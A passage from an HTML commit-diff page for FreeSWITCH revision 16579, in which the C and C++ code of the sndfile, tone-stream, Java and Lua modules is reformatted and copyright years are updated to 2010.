</span><span class="cx">                 if (switch_channel_test_flag(channel, CF_PROXY_MODE)) {
</span><span class="lines">@@ -1322,7 +1324,7 @@
</span><span class="cx">
</span><span class="cx"> void do_index(switch_stream_handle_t *stream)
</span><span class="cx"> {
</span><del>-        switch_cache_db_handle_t *db;
</del><ins>+        switch_cache_db_handle_t *db;
</ins><span class="cx">         const char *sql = "select * from channels";
</span><span class="cx">         struct holder holder;
</span><span class="cx">         char *errmsg;
</span><span class="lines">@@ -1407,7 +1409,7 @@
</span><span class="cx">         switch_xml_t cfg, xml, settings, param;
</span><span class="cx">
</span><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="lines">@@ -1417,11 +1419,11 @@
</span><span class="cx">                 for (param = switch_xml_child(settings, "param"); param; param = param->next) {
</span><span class="cx">                         char *var = (char *) switch_xml_attr_soft(param, "name");
</span><span class="cx">                         char *val = (char *) switch_xml_attr_soft(param, "value");
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!strcmp(var, "decoder")) {
</span><span class="cx">                                 switch_set_string(globals.decoder, val);
</span><span class="cx">                         } else if (!strcmp(var, "volume")) {
</span><del>-                                globals.vol = (float)atof(val);
</del><ins>+                                globals.vol = (float) atof(val);
</ins><span class="cx">                         } else if (!strcmp(var, "outscale")) {
</span><span class="cx">                                 int tmp = atoi(val);
</span><span class="cx">                                 if (tmp > 0) {
</span><span class="lines">@@ -1430,8 +1432,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         switch_xml_free(xml);
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_sndfilemod_sndfilec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_sndfile/mod_sndfile.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_sndfile/mod_sndfile.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_sndfile/mod_sndfile.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -64,7 +64,7 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         char *alt_path = NULL, *last, *ldup = NULL;
</span><span class="cx">         size_t alt_len = 0;
</span><del>-        int rates[4] = {8000, 16000, 32000, 48000};
</del><ins>+        int rates[4] = { 8000, 16000, 32000, 48000 };
</ins><span class="cx">         int i;
</span><span class="cx"> #ifdef WIN32
</span><span class="cx">         char ps = '\\';
</span><span class="lines">@@ -161,12 +161,12 @@
</span><span class="cx">         /* This block attempts to add the sample rate to the path
</span><span class="cx">          if the sample rate is already present in the path it does nothing
</span><span class="cx">          and reverts to the original file name.
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">         if ((last = strrchr(alt_path, ps))) {
</span><span class="cx">                 last++;
</span><span class="cx"> #ifdef WIN32
</span><span class="cx">                 if (strrchr(last, '/')) {
</span><del>-                        last = strrchr(alt_path, '/'); /* do not swallow a forward slash if they are intermixed under windows*/
</del><ins>+                        last = strrchr(alt_path, '/');        /* do not swallow a forward slash if they are intermixed under windows */
</ins><span class="cx">                         last++;
</span><span class="cx">                 }
</span><span class="cx"> #endif
</span><span class="lines">@@ -178,7 +178,7 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         /* Try to find the file at the highest rate possible if we can't find one that matches the exact rate.
</span><span class="cx">                          If we don't find any, we will default back to the original file name.
</span><del>-                        */
</del><ins>+                         */
</ins><span class="cx">                         for (i = 3; i >= 0; i--) {
</span><span class="cx">                                 switch_snprintf(last, alt_len - (last - alt_path), "%d%s%s", rates[i], SWITCH_PATH_SEPARATOR, ldup);
</span><span class="cx">                                 if ((context->handle = sf_open(alt_path, mode, &context->sfinfo))) {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodformatsmod_tone_streammod_tone_streamc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/formats/mod_tone_stream/mod_tone_stream.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/formats/mod_tone_stream/mod_tone_stream.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/formats/mod_tone_stream/mod_tone_stream.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -58,7 +58,7 @@
</span><span class="cx">                 sh->samples = 0;
</span><span class="cx">                 sh->forever = 1;
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         if ((p = strchr(path, ','))) {
</span><span class="cx">                 p++;
</span><span class="cx">                 ms = atoi(p);
</span><span class="lines">@@ -80,19 +80,19 @@
</span><span class="cx"> static switch_status_t silence_stream_file_read(switch_file_handle_t *handle, void *data, size_t *len)
</span><span class="cx"> {
</span><span class="cx">         struct silence_handle *sh = handle->private_info;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!sh->forever) {
</span><span class="cx">                 if (sh->samples <= 0) {
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if (*len > (size_t)sh->samples) {
</del><ins>+                if (*len > (size_t) sh->samples) {
</ins><span class="cx">                         *len = sh->samples;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 sh->samples -= *len;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sh->silence) {
</span><span class="cx">                 switch_generate_sln_silence((int16_t *) data, *len, sh->silence);
</span><span class="cx">         } else {
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_javafreeswitch_javah"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_java/freeswitch_java.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_java/freeswitch_java.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_java/freeswitch_java.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -6,21 +6,19 @@
</span><span class="cx">
</span><span class="cx"> extern JavaVM *javaVM;
</span><span class="cx">
</span><del>-class JavaSession : public CoreSession
-{
- public:
- JavaSession();
- JavaSession(char *uuid);
- JavaSession(switch_core_session_t *session);
- virtual ~JavaSession();
</del><ins>+class JavaSession:public CoreSession {
+ public:
+        JavaSession();
+        JavaSession(char *uuid);
+         JavaSession(switch_core_session_t *session);
+         virtual ~ JavaSession();
</ins><span class="cx">
</span><del>- virtual bool begin_allow_threads();
- virtual bool end_allow_threads();
- void setDTMFCallback(jobject dtmfCallback, char *funcargs);
- void setHangupHook(jobject hangupHook);
- virtual void check_hangup_hook();
- virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
</del><ins>+        virtual bool begin_allow_threads();
+        virtual bool end_allow_threads();
+        void setDTMFCallback(jobject dtmfCallback, char *funcargs);
+        void setHangupHook(jobject hangupHook);
+        virtual void check_hangup_hook();
+        virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> #endif
</span><del>-
</del></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_javamodjavac"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_java/modjava.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_java/modjava.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_java/modjava.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -45,236 +45,205 @@
</span><span class="cx"> SWITCH_MODULE_DEFINITION(mod_java, mod_java_load, mod_java_shutdown, NULL);
</span><span class="cx">
</span><span class="cx">
</span><del>-static void launch_java(switch_core_session_t *session, const char *data, JNIEnv *env)
</del><ins>+static void launch_java(switch_core_session_t *session, const char *data, JNIEnv * env)
</ins><span class="cx"> {
</span><del>- jclass Launcher = NULL;
- jmethodID launch = NULL;
- jstring uuid = NULL;
- jstring args = NULL;
</del><ins>+        jclass Launcher = NULL;
+        jmethodID launch = NULL;
+        jstring uuid = NULL;
+        jstring args = NULL;
</ins><span class="cx">
</span><del>- Launcher = (*env)->FindClass(env, "org/freeswitch/Launcher");
- if (Launcher == NULL)
- {
- (*env)->ExceptionDescribe(env);
- goto done;
- }
</del><ins>+        Launcher = (*env)->FindClass(env, "org/freeswitch/Launcher");
+        if (Launcher == NULL) {
+                (*env)->ExceptionDescribe(env);
+                goto done;
+        }
</ins><span class="cx">
</span><del>- launch = (*env)->GetStaticMethodID(env, Launcher, "launch", "(Ljava/lang/String;Ljava/lang/String;)V");
- if (launch == NULL)
- {
- (*env)->ExceptionDescribe(env);
- goto done;
- }
</del><ins>+        launch = (*env)->GetStaticMethodID(env, Launcher, "launch", "(Ljava/lang/String;Ljava/lang/String;)V");
+        if (launch == NULL) {
+                (*env)->ExceptionDescribe(env);
+                goto done;
+        }
</ins><span class="cx">
</span><del>- uuid = (*env)->NewStringUTF(env, switch_core_session_get_uuid(session));
- if (uuid == NULL)
- {
- (*env)->ExceptionDescribe(env);
- goto done;
- }
</del><ins>+        uuid = (*env)->NewStringUTF(env, switch_core_session_get_uuid(session));
+        if (uuid == NULL) {
+                (*env)->ExceptionDescribe(env);
+                goto done;
+        }
</ins><span class="cx">
</span><del>- args = (*env)->NewStringUTF(env, data);
- if (args == NULL)
- {
- (*env)->ExceptionDescribe(env);
- goto done;
- }
</del><ins>+        args = (*env)->NewStringUTF(env, data);
+        if (args == NULL) {
+                (*env)->ExceptionDescribe(env);
+                goto done;
+        }
</ins><span class="cx">
</span><del>- (*env)->CallStaticVoidMethod(env, Launcher, launch, uuid, args);
- if ((*env)->ExceptionOccurred(env))
- (*env)->ExceptionDescribe(env);
</del><ins>+        (*env)->CallStaticVoidMethod(env, Launcher, launch, uuid, args);
+        if ((*env)->ExceptionOccurred(env))
+                (*env)->ExceptionDescribe(env);
</ins><span class="cx">
</span><del>-done:
- if (args != NULL)
- (*env)->DeleteLocalRef(env, args);
- if (uuid != NULL)
- (*env)->DeleteLocalRef(env, uuid);
- if (Launcher != NULL)
- (*env)->DeleteLocalRef(env, Launcher);
</del><ins>+ done:
+        if (args != NULL)
+                (*env)->DeleteLocalRef(env, args);
+        if (uuid != NULL)
+                (*env)->DeleteLocalRef(env, uuid);
+        if (Launcher != NULL)
+                (*env)->DeleteLocalRef(env, Launcher);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_STANDARD_APP(java_function)
</span><span class="cx"> {
</span><del>- JNIEnv *env;
- jint res;
</del><ins>+        JNIEnv *env;
+        jint res;
</ins><span class="cx">
</span><del>- if (javaVM == NULL)
- return;
</del><ins>+        if (javaVM == NULL)
+                return;
</ins><span class="cx">
</span><del>- res = (*javaVM)->AttachCurrentThread(javaVM, (void*) &env, NULL);
- if (res == JNI_OK)
- {
- launch_java(session, data, env);
- (*javaVM)->DetachCurrentThread(javaVM);
- }
- else
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error attaching thread to Java VM!\n");
</del><ins>+        res = (*javaVM)->AttachCurrentThread(javaVM, (void *) &env, NULL);
+        if (res == JNI_OK) {
+                launch_java(session, data, env);
+                (*javaVM)->DetachCurrentThread(javaVM);
+        } else
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error attaching thread to Java VM!\n");
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t load_config(JavaVMOption **javaOptions, int *optionCount)
</del><ins>+static switch_status_t load_config(JavaVMOption ** javaOptions, int *optionCount)
</ins><span class="cx"> {
</span><del>- switch_xml_t cfg, xml;
- switch_status_t status;
</del><ins>+        switch_xml_t cfg, xml;
+        switch_status_t status;
</ins><span class="cx">
</span><del>- xml = switch_xml_open_cfg("java.conf", &cfg, NULL);
- if (xml)
- {
- switch_xml_t javavm;
- switch_xml_t options;
</del><ins>+        xml = switch_xml_open_cfg("java.conf", &cfg, NULL);
+        if (xml) {
+                switch_xml_t javavm;
+                switch_xml_t options;
</ins><span class="cx">
</span><del>- javavm = switch_xml_child(cfg, "javavm");
- if (javavm != NULL)
- {
- const char *path = switch_xml_attr_soft(javavm, "path");
- if (path != NULL)
- {
- status = switch_dso_load(&javaVMHandle, path, memoryPool);
- if (status != SWITCH_STATUS_SUCCESS)
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error loading %s\n", path);
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Java VM path specified in java.conf.xml\n");
- status = SWITCH_STATUS_FALSE;
- }
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Java VM specified in java.conf.xml\n");
- status = SWITCH_STATUS_FALSE;
- goto close;
- }
</del><ins>+                javavm = switch_xml_child(cfg, "javavm");
+                if (javavm != NULL) {
+                        const char *path = switch_xml_attr_soft(javavm, "path");
+                        if (path != NULL) {
+                                status = switch_dso_load(&javaVMHandle, path, memoryPool);
+                                if (status != SWITCH_STATUS_SUCCESS)
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error loading %s\n", path);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Java VM path specified in java.conf.xml\n");
+                                status = SWITCH_STATUS_FALSE;
+                        }
+                } else {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Java VM specified in java.conf.xml\n");
+                        status = SWITCH_STATUS_FALSE;
+                        goto close;
+                }
</ins><span class="cx">
</span><del>- options = switch_xml_child(cfg, "options");
- if (options != NULL)
- {
- switch_xml_t option;
- int i = 0;
- *optionCount = 0;
- for (option = switch_xml_child(options, "option"); option; option = option->next)
- {
- const char *value = switch_xml_attr_soft(option, "value");
- if (value != NULL)
- ++*optionCount;
- }
- *optionCount += 1;
- *javaOptions = switch_core_alloc(memoryPool, (switch_size_t)(*optionCount * sizeof(JavaVMOption)));
- if (*javaOptions == NULL)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Out of memory!\n");
- status = SWITCH_STATUS_FALSE;
- goto close;
- }
- for (option = switch_xml_child(options, "option"); option; option = option->next)
- {
- const char *value = switch_xml_attr_soft(option, "value");
- if (value == NULL)
- continue;
- (*javaOptions)[i].optionString = switch_core_strdup(memoryPool, value);
- if ((*javaOptions)[i].optionString == NULL)
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Out of memory!\n");
- status = SWITCH_STATUS_FALSE;
- goto close;
- }
- ++i;
- }
- (*javaOptions)[i].optionString = "-Djava.library.path=" SWITCH_PREFIX_DIR SWITCH_PATH_SEPARATOR "mod";
- }
</del><ins>+                options = switch_xml_child(cfg, "options");
+                if (options != NULL) {
+                        switch_xml_t option;
+                        int i = 0;
+                        *optionCount = 0;
+                        for (option = switch_xml_child(options, "option"); option; option = option->next) {
+                                const char *value = switch_xml_attr_soft(option, "value");
+                                if (value != NULL)
+                                        ++ * optionCount;
+                        }
+                        *optionCount += 1;
+                        *javaOptions = switch_core_alloc(memoryPool, (switch_size_t) (*optionCount * sizeof(JavaVMOption)));
+                        if (*javaOptions == NULL) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Out of memory!\n");
+                                status = SWITCH_STATUS_FALSE;
+                                goto close;
+                        }
+                        for (option = switch_xml_child(options, "option"); option; option = option->next) {
+                                const char *value = switch_xml_attr_soft(option, "value");
+                                if (value == NULL)
+                                        continue;
+                                (*javaOptions)[i].optionString = switch_core_strdup(memoryPool, value);
+                                if ((*javaOptions)[i].optionString == NULL) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Out of memory!\n");
+                                        status = SWITCH_STATUS_FALSE;
+                                        goto close;
+                                }
+                                ++i;
+                        }
+                        (*javaOptions)[i].optionString = "-Djava.library.path=" SWITCH_PREFIX_DIR SWITCH_PATH_SEPARATOR "mod";
+                }
</ins><span class="cx">
</span><del>- close:
- switch_xml_free(xml);
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening java.conf.xml\n");
- status = SWITCH_STATUS_FALSE;
- }
- return status;
</del><ins>+         close:
+                switch_xml_free(xml);
+        } else {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening java.conf.xml\n");
+                status = SWITCH_STATUS_FALSE;
+        }
+        return status;
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t create_java_vm(JavaVMOption *options, int optionCount)
</del><ins>+static switch_status_t create_java_vm(JavaVMOption * options, int optionCount)
</ins><span class="cx"> {
</span><del>- jint (JNICALL *pJNI_CreateJavaVM)(JavaVM**,void**,void*);
- switch_status_t status;
</del><ins>+        jint(JNICALL * pJNI_CreateJavaVM) (JavaVM **, void **, void *);
+        switch_status_t status;
</ins><span class="cx">
</span><del>- status = switch_dso_sym((void*) &pJNI_CreateJavaVM, javaVMHandle, "JNI_CreateJavaVM");
- if (status == SWITCH_STATUS_SUCCESS)
- {
- JNIEnv *env;
- JavaVMInitArgs initArgs;
- jint res;
</del><ins>+        status = switch_dso_sym((void *) &pJNI_CreateJavaVM, javaVMHandle, "JNI_CreateJavaVM");
+        if (status == SWITCH_STATUS_SUCCESS) {
+                JNIEnv *env;
+                JavaVMInitArgs initArgs;
+                jint res;
</ins><span class="cx">
</span><del>- memset(&initArgs, 0, sizeof(initArgs));
- initArgs.version = JNI_VERSION_1_4;
- initArgs.nOptions = optionCount;
- initArgs.options = options;
- initArgs.ignoreUnrecognized = JNI_TRUE;
</del><ins>+                memset(&initArgs, 0, sizeof(initArgs));
+                initArgs.version = JNI_VERSION_1_4;
+                initArgs.nOptions = optionCount;
+                initArgs.options = options;
+                initArgs.ignoreUnrecognized = JNI_TRUE;
</ins><span class="cx">
</span><del>- res = pJNI_CreateJavaVM(&javaVM, (void*) &env, &initArgs);
- if (res == JNI_OK)
- {
- (*javaVM)->DetachCurrentThread(javaVM);
- status = SWITCH_STATUS_SUCCESS;
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error creating Java VM!\n");
- status = SWITCH_STATUS_FALSE;
- }
- }
- else
- {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Specified Java VM doesn't have JNI_CreateJavaVM\n");
- status = SWITCH_STATUS_FALSE;
- }
- return status;
</del><ins>+                res = pJNI_CreateJavaVM(&javaVM, (void *) &env, &initArgs);
+                if (res == JNI_OK) {
+                        (*javaVM)->DetachCurrentThread(javaVM);
+                        status = SWITCH_STATUS_SUCCESS;
+                } else {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error creating Java VM!\n");
+                        status = SWITCH_STATUS_FALSE;
+                }
+        } else {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Specified Java VM doesn't have JNI_CreateJavaVM\n");
+                status = SWITCH_STATUS_FALSE;
+        }
+        return status;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_LOAD_FUNCTION(mod_java_load)
</span><span class="cx"> {
</span><del>- switch_status_t status;
- JavaVMOption *options = NULL;
- int optionCount = 0;
</del><ins>+        switch_status_t status;
+        JavaVMOption *options = NULL;
+        int optionCount = 0;
</ins><span class="cx">         switch_application_interface_t *app_interface;
</span><span class="cx">
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "java", NULL, NULL, java_function, NULL, SAF_SUPPORT_NOMEDIA);
</span><span class="cx">
</span><del>- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Java Framework Loading...\n");
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Java Framework Loading...\n");
</ins><span class="cx">
</span><del>- if (javaVM != NULL)
- return SWITCH_STATUS_SUCCESS;
</del><ins>+        if (javaVM != NULL)
+                return SWITCH_STATUS_SUCCESS;
</ins><span class="cx">
</span><del>- status = switch_core_new_memory_pool(&memoryPool);
- if (status == SWITCH_STATUS_SUCCESS)
- {
- status = load_config(&options, &optionCount);
- if (status == SWITCH_STATUS_SUCCESS)
- {
- status = create_java_vm(options, optionCount);
- if (status == SWITCH_STATUS_SUCCESS)
- return SWITCH_STATUS_SUCCESS;
- switch_dso_unload(javaVMHandle);
- }
- switch_core_destroy_memory_pool(&memoryPool);
- }
- else
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error creating memory pool\n");
</del><ins>+        status = switch_core_new_memory_pool(&memoryPool);
+        if (status == SWITCH_STATUS_SUCCESS) {
+                status = load_config(&options, &optionCount);
+                if (status == SWITCH_STATUS_SUCCESS) {
+                        status = create_java_vm(options, optionCount);
+                        if (status == SWITCH_STATUS_SUCCESS)
+                                return SWITCH_STATUS_SUCCESS;
+                        switch_dso_unload(javaVMHandle);
+                }
+                switch_core_destroy_memory_pool(&memoryPool);
+        } else
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error creating memory pool\n");
</ins><span class="cx">
</span><del>- return status == SWITCH_STATUS_SUCCESS ? SWITCH_STATUS_NOUNLOAD : status;
</del><ins>+        return status == SWITCH_STATUS_SUCCESS ? SWITCH_STATUS_NOUNLOAD : status;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_java_shutdown)
</span><span class="cx"> {
</span><del>- if (javaVM == NULL)
- return SWITCH_STATUS_FALSE;
</del><ins>+        if (javaVM == NULL)
+                return SWITCH_STATUS_FALSE;
</ins><span class="cx">
</span><del>- (*javaVM)->DestroyJavaVM(javaVM);
- javaVM = NULL;
- switch_dso_unload(javaVMHandle);
- switch_core_destroy_memory_pool(&memoryPool);
- return SWITCH_STATUS_SUCCESS;
</del><ins>+        (*javaVM)->DestroyJavaVM(javaVM);
+        javaVM = NULL;
+        switch_dso_unload(javaVMHandle);
+        switch_core_destroy_memory_pool(&memoryPool);
+        return SWITCH_STATUS_SUCCESS;
</ins><span class="cx"> }
</span><del>-
-
</del></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_luafreeswitch_luah"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_lua/freeswitch_lua.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_lua/freeswitch_lua.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_lua/freeswitch_lua.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -7,41 +7,39 @@
</span><span class="cx"> #include <lualib.h>
</span><span class="cx"> #include "mod_lua_extra.h"
</span><span class="cx"> }
</span><del>-
</del><span class="cx"> #include <switch_cpp.h>
</span><del>-
</del><span class="cx"> namespace LUA {
</span><del>-class Session : public CoreSession {
- private:
-        virtual void do_hangup_hook();
-        lua_State *getLUA();
-        lua_State *L;
-        int hh;
-        int mark;
- public:
- Session();
- Session(char *uuid, CoreSession *a_leg = NULL);
- Session(switch_core_session_t *session);
- ~Session();
-        SWITCH_MOD_DECLARE(virtual void) destroy(void);
-        
-        virtual bool begin_allow_threads();
-        virtual bool end_allow_threads();
-        virtual void check_hangup_hook();
</del><ins>+        class Session:public CoreSession {
+         private:
+                virtual void do_hangup_hook();
+                lua_State *getLUA();
+                lua_State *L;
+                int hh;
+                int mark;
+         public:
+                 Session();
+                 Session(char *uuid, CoreSession * a_leg = NULL);
+                 Session(switch_core_session_t *session);
+                 ~Session();
+                 SWITCH_MOD_DECLARE(virtual void) destroy(void);
</ins><span class="cx">
</span><del>-        virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
-        void unsetInputCallback(void);
-        void setInputCallback(char *cbfunc, char *funcargs = NULL);
-        void setHangupHook(char *func, char *arg = NULL);
-        bool ready();
-        int originate(CoreSession *a_leg_session, char *dest, int timeout);
-        
-        char *cb_function;
-        char *cb_arg;
-        char *hangup_func_str;
-        char *hangup_func_arg;
-        void setLUA(lua_State *state);
</del><ins>+                virtual bool begin_allow_threads();
+                virtual bool end_allow_threads();
+                virtual void check_hangup_hook();
</ins><span class="cx">
</span><del>-};
</del><ins>+                virtual switch_status_t run_dtmf_callback(void *input, switch_input_type_t itype);
+                void unsetInputCallback(void);
+                void setInputCallback(char *cbfunc, char *funcargs = NULL);
+                void setHangupHook(char *func, char *arg = NULL);
+                bool ready();
+                int originate(CoreSession * a_leg_session, char *dest, int timeout);
+
+                char *cb_function;
+                char *cb_arg;
+                char *hangup_func_str;
+                char *hangup_func_arg;
+                void setLUA(lua_State * state);
+
+        };
</ins><span class="cx"> }
</span><span class="cx"> #endif
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_luamod_luacpp"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_lua/mod_lua.cpp (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_lua/mod_lua.cpp        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_lua/mod_lua.cpp        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_luamod_lua_extrah"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_lua/mod_lua_extra.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_lua/mod_lua_extra.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_lua/mod_lua_extra.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,9 +1,7 @@
</span><span class="cx"> #ifndef MOD_LUA_EXTRA
</span><span class="cx"> #define MOD_LUA_EXTRA
</span><del>-SWITCH_BEGIN_EXTERN_C
-
-void mod_lua_conjure_event(lua_State *L, switch_event_t *event, const char *name, int destroy_me);
-void mod_lua_conjure_stream(lua_State *L, switch_stream_handle_t *stream, const char *name, int destroy_me);
</del><ins>+SWITCH_BEGIN_EXTERN_C void mod_lua_conjure_event(lua_State * L, switch_event_t *event, const char *name, int destroy_me);
+void mod_lua_conjure_stream(lua_State * L, switch_stream_handle_t *stream, const char *name, int destroy_me);
</ins><span class="cx"> void mod_lua_conjure_session(lua_State * L, switch_core_session_t *session, const char *name, int destroy_me);
</span><span class="cx">
</span><span class="cx"> SWITCH_END_EXTERN_C
</span></span></pre></div>
<a id="freeswitchtrunksrcmodlanguagesmod_luamy_swigable_cpph"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/languages/mod_lua/my_swigable_cpp.h (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/languages/mod_lua/my_swigable_cpp.h        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/languages/mod_lua/my_swigable_cpp.h        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,169 +1,160 @@
</span><span class="cx"> typedef struct input_callback_state {
</span><del>- void *function;
</del><ins>+        void *function;
</ins><span class="cx">
</span><del>- void *threadState;
</del><ins>+        void *threadState;
</ins><span class="cx">
</span><del>- void *extra;
- char *funcargs;
</del><ins>+        void *extra;
+        char *funcargs;
</ins><span class="cx"> } input_callback_state_t;
</span><span class="cx">
</span><span class="cx"> typedef enum {
